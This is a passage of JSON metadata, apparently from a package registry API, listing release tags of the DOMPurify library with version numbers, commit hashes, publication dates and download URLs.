.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.8/manifests","release_url":null},{"name":"3.2.3","sha":"f1106aae5a861d1096cb57ad9a6f518b4279ea8c","kind":"commit","published_at":"2024-12-09T08:32:09.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.3/manifests","release_url":null},{"name":"3.2.2","sha":"3990b7e925285fa7fc9d63150e91d8e448215737","kind":"commit","published_at":"2024-11-29T10:40:23.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.2/manifests","release_url":null},{"name":"3.2.1","sha":"7f154b33e3f15e9cff658dfbe1816ccd4a850b84","kind":"commit","published_at":"2024-11-20T07:34:47.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.1/manifests","release_url":null},{"name":"3.2.0","sha":"f0d750730b2595722bde07bbbee1ee65c79943aa","kind":"commit","published_at":"2024-11-11T14:30:21.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.2.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.0/manifests","release_url":null},{"name":"3.1.7","sha":"69c8c12940dbf98aef5f44eea77151e1aef532dc","kind":"commit","published_at":"2024-09-26T11:07:13.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.7/manifests","release_url":null},{"name":"2.5.7","sha":"71683cb29a6ce35938f2cd1f48fd9e2af2fff10c","kind":"commit","published_at":"2024-09-26T10:18:18.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.7/manifests","release_url":null},{"name":"3.1.6","sha":"4083a9096be35cfe5b569abd21e500f43b39e294","kind":"commit","published_at":"2024-07-05T10:30:51.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.6/manifests","release_url":null},{"name":"2.5.6","sha":"d78f24171d7e1e6c20d8d6f496c8f8f66efb1ca3","kind":"commit","published_at":"2024-07-05T10:12:03.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.6/manifests","release_url":null},{"name":"3.1.5","sha":"6676133b2ba2fe02346a4794a712e5ec2c3539a0","kind":"commit","published_at":"2024-05-31T09:04:49.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.5/manifests","release_url":null},{"name":"2.5.5","sha":"de2545c445baa47d4aa40ece463ecf3a7688125e","kind":"commit","published_at":"2024-05-31T08:36:39.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.5/manifests","release_url":null},{"name":"3.1.4","sha":"7517e9c475dbc1c7f8535a60f17bb55aabd52ba6","kind":"commit","published_at":"2024-05-20T11:11:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.4/manifests","release_url":null},{"name":"2.5.4","sha":"10c12610b15875ea09129c35fca28a886857434f","kind":"commit","published_at":"2024-05-19T11:41:56.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.4/manifests","release_url":null},{"name":"2.5.3","sha":"e1ddfc7b5e6d6599c369f826699b0204e2c691b9","kind":"commit","published_at":"2024-05-11T10:17:55.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.3/manifests","release_url":null},{"name":"3.1.3","sha":"3fe78d7501103832166613bb1452985dd4674008","kind":"commit","published_at":"2024-05-11T10:01:24.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.3/manifests","release_url":null},{"name":"3.1.2","sha":"5b2e3171e403535656270e3aa1842ff030f136e4","kind":"commit","published_at":"2024-04-30T08:07:15.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.2/manifests","release_url":null},{"name":"2.5.2","sha":"d299fccd846a15e1724dd673d02ca2de0a442de2","kind":"commit","published_at":"2024-04-30T07:51:41.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.2/manifests","release_url":null},{"name":"3.1.1","sha":"7a0a984a8aea7341ce084f72cda806e2395b336b","kind":"commit","published_at":"2024-04-26T10:55:38.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.1/manifests","release_url":null},{"name":"2.5.1","sha":"f275c0b719026501f80d383af942bda921cdf300","kind":"commit","published_at":"2024-04-26T10:47:25.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.1/manifests","release_url":null},{"name":"2.5.0","sha":"7f6cf8a7590ddb4fbc2e914d42544ed2dcf1c4cd","kind":"commit","published_at":"2024-04-07T12:04:04.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.0/manifests","release_url":null},{"name":"3.1.0","sha":"db19269d8f9029cba78eabc9d6b52e73c31702ad","kind":"commit","published_at":"2024-04-07T12:03:16.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.0/manifests","release_url":null},{"name":"3.0.11","sha":"a9fd4ae9c941b60c9e59af80882e66da6f8903ae","kind":"commit","published_at":"2024-03-21T10:22:09.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.11","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.11/manifests","release_url":null},{"name":"2.4.9","sha":"79cfb378f326e6d92574e784ea19500e29dd4c38","kind":"commit","published_at":"2024-03-21T10:00:39.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.9/manifests","release_url":null},{"name":"3.0.10","sha":"f2b637fc8418b14214a9e4b5e4693a33a9077f4e","kind":"commit","published_at":"2024-03-19T11:06:05.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.10","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.10/manifests","release_url":null},{"name":"2.4.8","sha":"416ba67433df765ba4de2ff1138d7e24eb0eb06a","kind":"commit","published_at":"2024-03-19T10:58:14.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.8/manifests","release_url":null},{"name":"3.0.9","sha":"699b1c94cdf9044df3eba3b26574ab020ab36dc4","kind":"commit","published_at":"2024-02-20T14:20:52.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.9/manifests","release_url":null},{"name":"3.0.8","sha":"ec1346a8dcf52471276b84bdf4180d3059a00c57","kind":"commit","published_at":"2024-01-05T16:40:13.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.8/manifests","release_url":null},{"name":"3.0.7","sha":"aa2c561415e684f0e1e3cff57c8b1102edaa4dd4","kind":"commit","published_at":"2024-01-03T12:03:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.7/manifests","release_url":null},{"name":"3.0.6","sha":"1b864e746bb73ad4990bf02f1e1d924151c25a3b","kind":"commit","published_at":"2023-09-28T08:22:00.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.6/manifests","release_url":null},{"name":"3.0.5","sha":"c96c9df61f1070146c0c13078e85b33d8fed3e51","kind":"commit","published_at":"2023-07-11T07:59:34.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.5/manifests","release_url":null},{"name":"2.4.7","sha":"ef731c0bab8ff102edbb3d121ab7c1995cc372b4","kind":"commit","published_at":"2023-07-11T07:39:53.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.7/manifests","release_url":null},{"name":"3.0.4","sha":"177736320e6f34ab007f640fdb29529ced7bd392","kind":"commit","published_at":"2023-06-29T16:02:01.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.4/manifests","release_url":null},{"name":"2.4.6","sha":"5b7dff926464caa98481eb693861735194940b5d","kind":"commit","published_at":"2023-06-29T15:47:07.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.6/manifests","release_url":null},{"name":"3.0.3","sha":"c70f8c57e60d2b4eb29d560682e7832febd62eaa","kind":"commit","published_at":"2023-05-06T12:22:41.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.3/manifests","release_url":null},{"name":"3.0.2","sha":"671167b9f6af6502080a946655d9118c4fc4818b","kind":"commit","published_at":"2023-04-14T17:01:31.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.2/manifests","release_url":null},{"name":"3.0.1","sha":"e42464f0e06ab5899aae41c89920be9af8b2e826","kind":"commit","published_at":"2023-02-26T15:28:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.1/manifests","release_url":null},{"name":"2.4.5","sha":"f464d957f24c48ec00076ee0d26694e3fd6c0387","kind":"commit","published_at":"2023-02-26T15:25:33.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.5/manifests","release_url":null},{"name":"3.0.0","sha":"5dcf2a012c70ea8b65c0ecff7de86a61d7d98181","kind":"commit","published_at":"2023-02-13T16:34:36.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.0/manifests","release_url":null},{"name":"2.4.4","sha":"fa4e8ee15042d3ff289f827145fd69a216a70aef","kind":"commit","published_at":"2023-02-13T16:32:41.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.4/manifests","release_url":null},{"name":"2.4.3","sha":"90326ef9134a35e0f9dc71129784d2145a220961","kind":"commit","published_at":"2023-01-06T14:12:27.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.3/manifests","release_url":null},{"name":"2.4.2","sha":"f1e180fcccc2766a10b7a88ee133cd4d1d8e44e5","kind":"commit","published_at":"2023-01-06T13:05:02.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.2/manifests","release_url":null},{"name":"2.4.1","sha":"67f784cfc3f6ae0b98a4a9fd4b3e94ea16f90967","kind":"commit","published_at":"2022-11-10T13:52:45.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.1/manifests","release_url":null},{"name":"2.4.0","sha":"5f8e875f4d01cffb8617d5999d9345417bdeb8bc","kind":"commit","published_at":"2022-08-24T17:32:29.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.0/manifests","release_url":null},{"name":"2.3.12","sha":"caaae5ed3206082299518351da1c3fd1a66532f0","kind":"commit","published_at":"2022-08-23T15:36:31.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.12","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.12/manifests","release_url":null},{"name":"2.3.11","sha":"30af6c8dbb9c0fa6c450b5ed0352175a031a18f9","kind":"commit","published_at":"2022-08-23T09:16:39.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.11","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.11/manifests","release_url":null},{"name":"2.3.10","sha":"aedec31d54965e82f75a267096e2f03fec96cdb2","kind":"commit","published_at":"2022-07-18T13:00:58.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.10","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.10/manifests","release_url":null},{"name":"2.3.9","sha":"52c8eb11bc2c00dd95a46708ffa518fdbea6d60c","kind":"commit","published_at":"2022-07-11T12:19:19.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.9","manifests_url":"